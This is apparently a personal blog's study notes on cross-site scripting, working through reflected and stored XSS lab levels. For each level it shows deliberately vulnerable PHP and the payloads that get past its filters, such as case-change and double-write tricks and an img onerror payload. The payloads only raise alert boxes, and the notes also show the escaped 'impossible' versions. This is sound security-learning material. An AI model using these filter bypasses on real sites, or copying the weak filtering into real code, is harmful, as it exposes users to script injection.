乐呵呵同学的博客

lehhair's Blog

2023.07.16学习 xss漏洞02

2023-07-16

2023.07.16学习 xss漏洞02

跨站脚本攻击(Cross Site Scripting,XSS)

  • 概述
    • XSS是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如Cookie、SessionID等,进而危害数据安全。
    • XSS攻击的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。
    • XSS攻击的危害
      • 利用虚假输入表单骗取用户个人信息
      • 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
      • 显示伪造的文章或者图片
      • 嵌入第三方页面,利用用户对该页面的信任进行钓鱼攻击
      • 在目标网站上进行恶意广告
      • 利用脚本控制攻击者为好友的用户,进行转账操作

漏洞类型以及利用场景

  • 基础类型

    • 反射型 XSS
      • 主打攻击场景:通过发送恶意链接的方式,诱导用户点击,从而达到攻击的目的
    • 存储型 XSS
      • 主打攻击场景:攻击者将恶意代码提交到目标网站的数据库中,当其他用户请求数据时,恶意代码从数据库中取出,与正常的代码一起输出到浏览器,浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。
    • DOM 型 XSS
      • 主打攻击场景:攻击者通过恶意代码修改了页面的 DOM 结构,是在客户端执行的 XSS 攻击,不需要服务器端的参与,也不会留下痕迹,所以防御起来比较困难。
  • 反射型场景

    • low

      <?php
      
      header ("X-XSS-Protection: 0");
      
      // Is there any input?
      if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
          // Feedback for end user
          echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
      }
      
      ?> 
      

      {645808F9-0F53-44be-A6FA-C50009B2FCBF}.png

      <script>alert(1)</script>
      
    • medium

      <?php
      
      header ("X-XSS-Protection: 0");
      
      // Is there any input?
      if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
          // Get input
          $name = str_replace( '<script>', '', $_GET[ 'name' ] );
      
          // Feedback for end user
          echo "<pre>Hello {$name}</pre>";
      }
      
      ?> 
      

      {B17DDDDB-040A-4ba0-BFC6-941C80726F33}.png

      <Script>alert(1)</script>
      //大小写绕过
      <scr<script>ipt>alert(1)</script>
      //双写绕过
      
    • high

      <?php
      
      header ("X-XSS-Protection: 0");
      
      // Is there any input?
      if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
          // Get input
          $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
      
          // Feedback for end user
          echo "<pre>Hello {$name}</pre>";
      }
      
      ?> 
      

      {75C2059C-4DB6-4e12-81B2-7066CE83563B}.png

      <img src=1 onerror=alert(1)>
      
    • impossible

      <?php
      
      // Is there any input?
      if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
          // Check Anti-CSRF token
          checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
      
          // Get input
          $name = htmlspecialchars( $_GET[ 'name' ] );
      
          // Feedback for end user
          echo "<pre>Hello {$name}</pre>";
      }
      
      // Generate Anti-CSRF token
      generateSessionToken();
      
      ?> 
      
  • 存储型场景

    • low

      <?php
      
      if( isset( $_POST[ 'btnSign' ] ) ) {
          // Get input
          $message = trim( $_POST[ 'mtxMessage' ] );
          $name    = trim( $_POST[ 'txtName' ] );
      
          // Sanitize message input
          $message = stripslashes( $message );
          $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      
          // Sanitize name input
          $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      
          // Update database
          $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
          $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
          //mysql_close();
      }
      
      ?> 
      

      9079e3ca41c1e40e06548d5140766992.png

    • medium

      <?php
      
      if( isset( $_POST[ 'btnSign' ] ) ) {
          // Get input
          $message = trim( $_POST[ 'mtxMessage' ] );
          $name    = trim( $_POST[ 'txtName' ] );
      
          // Sanitize message input
          $message = strip_tags( addslashes( $message ) );
          //strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
          $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
          $message = htmlspecialchars( $message );
          //htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。
      
          // Sanitize name input
          $name = str_replace( '<script>', '', $name );
          //str_replace() 函数替换字符串中的一些字符(区分大小写)。
          $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      
          // Update database
          $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
          $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
          //mysql_close();
      }
      
      ?> 
      

      {24A0B9E6-7A04-4837-A8BB-6BB67741EA81}.png

      这里只能对name进行xss,因为message被转义了,修改一下name的最大长度,然后构造payload

      {22D9AABE-D89F-4e3d-AC6A-DD8E956D9FE1}.png

      <Script>alert(1)</script>
      
    • high

      <?php
      
      if( isset( $_POST[ 'btnSign' ] ) ) {
          // Get input
          $message = trim( $_POST[ 'mtxMessage' ] );
          $name    = trim( $_POST[ 'txtName' ] );
      
          // Sanitize message input
          $message = strip_tags( addslashes( $message ) );
          $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
          $message = htmlspecialchars( $message );
      
          // Sanitize name input
          $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
          $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
      
          // Update database
          $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
          $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
      
          //mysql_close();
      }
      
      ?> 
      

      {289FBF6A-1631-4bcc-81F6-C4BE9F16DF98}.png

      <img src=1 onerror=alert(1)>
      
    • impossible

      <?php
      
      if( isset( $_POST[ 'btnSign' ] ) ) {
          // Check Anti-CSRF token
          checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
      
          // Get input
          $message = trim( $_POST[ 'mtxMessage' ] );
          $name    = trim( $_POST[ 'txtName' ] );
      
          // Sanitize message input
          $message = stripslashes( $message );
          $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
          $message = htmlspecialchars( $message );
      
          // Sanitize name input
          $name = stripslashes( $name );
          $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
          $name = htmlspecialchars( $name );
      
          // Update database
          $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
          $data->bindParam( ':message', $message, PDO::PARAM_STR );
          $data->bindParam( ':name', $name, PDO::PARAM_STR );
          $data->execute();
      }
      
      // Generate Anti-CSRF token
      generateSessionToken();
      
      ?>